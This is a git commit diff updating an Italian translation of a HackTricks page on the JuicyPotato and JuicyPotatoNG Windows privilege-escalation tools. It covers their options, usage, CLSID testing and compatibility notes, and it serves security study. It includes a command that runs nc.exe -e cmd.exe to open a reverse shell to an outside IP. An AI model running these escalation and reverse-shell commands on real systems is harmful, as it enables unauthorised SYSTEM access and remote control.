Translated ['src/windows-hardening/windows-local-privilege-escalation/ju

This commit is contained in:
Translator 2025-09-03 12:27:36 +00:00
parent 6cc43113a1
commit 4fc3be7261

View File

@ -2,54 +2,60 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > **JuicyPotato non funziona** su Windows Server 2019 e Windows 10 build 1809 e successivi. Tuttavia, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) possono essere utilizzati per **sfruttare gli stessi privilegi e ottenere accesso a livello `NT AUTHORITY\SYSTEM`**. _**Controlla:**_
> [!WARNING] > JuicyPotato è legacy. Generalmente funziona sulle versioni di Windows fino a Windows 10 1803 / Windows Server 2016. Le modifiche di Microsoft introdotte a partire da Windows 10 1809 / Server 2019 hanno rotto la tecnica originale. Per quei build e successivi, considera alternative più moderne come PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato e altre. Vedi la pagina sotto per opzioni e utilizzo aggiornati.
{{#ref}}
roguepotato-and-printspoofer.md
{{#endref}}
## Juicy Potato (abuso dei privilegi dorati) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
## Juicy Potato (abuso dei privilegi "golden") <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_Versione zuccherata di_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, con un po' di succo, cioè **un altro strumento di escalation dei privilegi locali, da un Windows Service Accounts a NT AUTHORITY\SYSTEM**_
_Una versione addolcita di_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, con un po' di juice, cioè **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
#### Puoi scaricare juicypotato da [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Riepilogo <a href="#summary" id="summary"></a>
### Note rapide di compatibilità
[**Dal Readme di juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
- Funziona in modo affidabile fino a Windows 10 1803 e Windows Server 2016 quando il contesto corrente ha SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege.
- Rotto dall'hardening Microsoft in Windows 10 1809 / Windows Server 2019 e successivi. Preferisci le alternative linkate sopra per quei build.
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e le sue [varianti](https://github.com/decoder-it/lonelypotato) sfruttano la catena di escalation dei privilegi basata sul [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [servizio](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) avendo il listener MiTM su `127.0.0.1:6666` e quando hai privilegi `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisione della build di Windows abbiamo trovato una configurazione in cui `BITS` era intenzionalmente disabilitato e la porta `6666` era occupata.
### Sommario <a href="#summary" id="summary"></a>
Abbiamo deciso di armare [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Dì ciao a Juicy Potato**.
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) e le sue [varianti](https://github.com/decoder-it/lonelypotato) sfruttano la catena di escalation dei privilegi basata sul servizio `BITS` che ha il listener MiTM su `127.0.0.1:6666` e quando si hanno i privilegi `SeImpersonate` o `SeAssignPrimaryToken`. Durante una revisione di build di Windows abbiamo trovato una configurazione in cui `BITS` era intenzionalmente disabilitato e la porta `6666` era occupata.
Abbiamo deciso di weaponizzare [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **dai il benvenuto a Juicy Potato**.
> Per la teoria, vedi [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) e segui la catena di link e riferimenti.
Abbiamo scoperto che, oltre a `BITS`, ci sono diversi server COM che possiamo sfruttare. Devono solo:
Abbiamo scoperto che, oltre a `BITS`, ci sono diversi COM servers che possiamo abusare. Devono solo:
1. essere istanziabili dall'utente corrente, normalmente un “utente di servizio” che ha privilegi di impersonificazione
1. poter essere istanziati dall'utente corrente, normalmente un “service user” che ha privilegi di impersonation
2. implementare l'interfaccia `IMarshal`
3. essere eseguiti come utente elevato (SYSTEM, Amministratore, …)
3. girare come utente elevato (SYSTEM, Administrator, …)
Dopo alcuni test abbiamo ottenuto e testato un elenco esteso di [CLSID interessanti](http://ohpe.it/juicy-potato/CLSID/) su diverse versioni di Windows.
Dopo alcuni test abbiamo ottenuto e testato una lista estesa di [CLSID interessanti](http://ohpe.it/juicy-potato/CLSID/) su diverse versioni di Windows.
### Dettagli succosi <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato ti consente di:
JuicyPotato permette di:
- **CLSID di destinazione** _scegli qualsiasi CLSID tu voglia._ [_Qui_](http://ohpe.it/juicy-potato/CLSID/) _puoi trovare l'elenco organizzato per OS._
- **Porta di ascolto COM** _definisci la porta di ascolto COM che preferisci (invece della hardcoded 6666)_
- **Indirizzo IP di ascolto COM** _collega il server a qualsiasi IP_
- **Modalità di creazione del processo** _a seconda dei privilegi dell'utente impersonato puoi scegliere tra:_
- `CreateProcessWithToken` (richiede `SeImpersonate`)
- `CreateProcessAsUser` (richiede `SeAssignPrimaryToken`)
- `entrambi`
- **Processo da avviare** _avvia un eseguibile o uno script se lo sfruttamento ha successo_
- **Argomento del processo** _personalizza gli argomenti del processo avviato_
- **Indirizzo del server RPC** _per un approccio furtivo puoi autenticarti a un server RPC esterno_
- **Porta del server RPC** _utile se vuoi autenticarti a un server esterno e il firewall blocca la porta `135`…_
- **Modalità TEST** _principalmente per scopi di test, cioè testare i CLSID. Crea il DCOM e stampa l'utente del token. Vedi_ [_qui per il test_](http://ohpe.it/juicy-potato/Test/)
- **Target CLSID** _scegli qualsiasi CLSID tu voglia._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _puoi trovare la lista organizzata per OS._
- **COM Listening port** _definire la porta di ascolto COM che preferisci (invece della 6666 hardcoded nel marshalled)_
- **COM Listening IP address** _bindare il server su qualsiasi IP_
- **Process creation mode** _a seconda dei privilegi dell'utente impersonato puoi scegliere tra:_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _lanciare un eseguibile o uno script se l'exploit ha successo_
- **Process Argument** _personalizzare gli argomenti del processo lanciato_
- **RPC Server address** _per un approccio stealth puoi autenticarti a un RPC server esterno_
- **RPC Server port** _utile se vuoi autenticarti a un server esterno e il firewall blocca la porta `135`…_
- **TEST mode** _principalmente per scopi di test, es. testare CLSID. Crea il DCOM e stampa l'utente del token. Vedi_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
### Utilizzo <a href="#usage" id="usage"></a>
### Usage <a href="#usage" id="usage"></a>
```
T:\>JuicyPotato.exe
JuicyPotato v0.1
@ -66,23 +72,44 @@ Optional args:
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
```
### Pensieri finali <a href="#final-thoughts" id="final-thoughts"></a>
### Considerazioni finali <a href="#final-thoughts" id="final-thoughts"></a>
[**Dal Readme di juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
Se l'utente ha i privilegi `SeImpersonate` o `SeAssignPrimaryToken`, allora sei **SYSTEM**.
Se l'utente ha i privilegi `SeImpersonate` o `SeAssignPrimaryToken` allora sei **SYSTEM**.
È quasi impossibile prevenire l'abuso di tutti questi COM Server. Potresti pensare di modificare i permessi di questi oggetti tramite `DCOMCNFG`, ma buona fortuna, sarà una sfida.
È quasi impossibile impedire l'abuso di tutti questi COM Servers. Potresti pensare di modificare i permessi di questi oggetti tramite `DCOMCNFG`, ma buona fortuna, sarà difficile.
La soluzione reale è proteggere gli account e le applicazioni sensibili che vengono eseguiti sotto gli account `* SERVICE`. Fermare `DCOM` inibirebbe certamente questo exploit, ma potrebbe avere un impatto serio sul sistema operativo sottostante.
La soluzione reale è proteggere gli account sensibili e le applicazioni che girano sotto gli account `* SERVICE`. Bloccare `DCOM` ostacolerebbe certamente questo exploit, ma potrebbe avere un impatto serio sul sistema operativo sottostante.
Da: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## JuicyPotatoNG (2022+)
JuicyPotatoNG reintroduce una local privilege escalation in stile JuicyPotato su Windows moderni combinando:
- DCOM OXID resolution to a local RPC server on a chosen port, avoiding the old hardcoded 127.0.0.1:6666 listener.
- An SSPI hook to capture and impersonate the inbound SYSTEM authentication without requiring RpcImpersonateClient, which also enables CreateProcessAsUser when only SeAssignPrimaryTokenPrivilege is present.
- Tricks to satisfy DCOM activation constraints (e.g., the former INTERACTIVE-group requirement when targeting PrintNotify / ActiveX Installer Service classes).
Note importanti (comportamento in evoluzione tra le build):
- September 2022: La tecnica iniziale funzionava su target Windows 10/11 e Server supportati usando la “INTERACTIVE trick”.
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
Uso base (più flag nell'help):
```
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
# -b Bruteforce all CLSIDs (testing only; spawns many processes)
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
```
Se stai prendendo di mira Windows 10 1809 / Server 2019 dove il classico JuicyPotato è stato patchato, preferisci le alternative collegate in alto (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, ecc.). NG può essere situazionale a seconda della build e dello stato del servizio.
## Esempi
Nota: Visita [questa pagina](https://ohpe.it/juicy-potato/CLSID/) per un elenco di CLSID da provare.
Nota: visita [this page](https://ohpe.it/juicy-potato/CLSID/) per una lista di CLSID da provare.
### Ottieni una shell inversa nc.exe
### Ottieni una reverse shell con nc.exe
```
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
@ -103,26 +130,25 @@ c:\Users\Public>
![](<../../images/image (300).png>)
## Problemi con CLSID
## Problemi con i CLSID
Spesso, il CLSID predefinito che JuicyPotato utilizza **non funziona** e l'exploit fallisce. Di solito, ci vogliono più tentativi per trovare un **CLSID funzionante**. Per ottenere un elenco di CLSID da provare per un sistema operativo specifico, dovresti visitare questa pagina:
Spesso il CLSID predefinito utilizzato da JuicyPotato **non funziona** e l'exploit fallisce. Di solito occorrono più tentativi per trovare un **CLSID funzionante**. Per ottenere una lista di CLSID da provare per un sistema operativo specifico, visita questa pagina:
{{#ref}}
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
### **Controllo dei CLSID**
### **Verifica dei CLSID**
Prima, avrai bisogno di alcuni eseguibili oltre a juicypotato.exe.
Per prima cosa ti serviranno alcuni eseguibili oltre a juicypotato.exe.
Scarica [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e caricalo nella tua sessione PS, e scarica ed esegui [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Quel script creerà un elenco di possibili CLSID da testare.
Scarica [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) e caricalo nella tua sessione PS, poi scarica ed esegui [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Quello script creerà una lista di possibili CLSID da testare.
Poi scarica [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(cambia il percorso per l'elenco CLSID e per l'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID, e **quando il numero di porta cambia, significherà che il CLSID ha funzionato**.
Poi scarica [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(modifica il percorso alla lista CLSID e all'eseguibile juicypotato) ed eseguilo. Inizierà a provare ogni CLSID e **quando il numero di porta cambia, significa che il CLSID ha funzionato**.
**Controlla** i CLSID funzionanti **utilizzando il parametro -c**
**Controlla** i CLSID funzionanti **usando il parametro -c**
## Riferimenti
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
{{#include ../../banners/hacktricks-training.md}}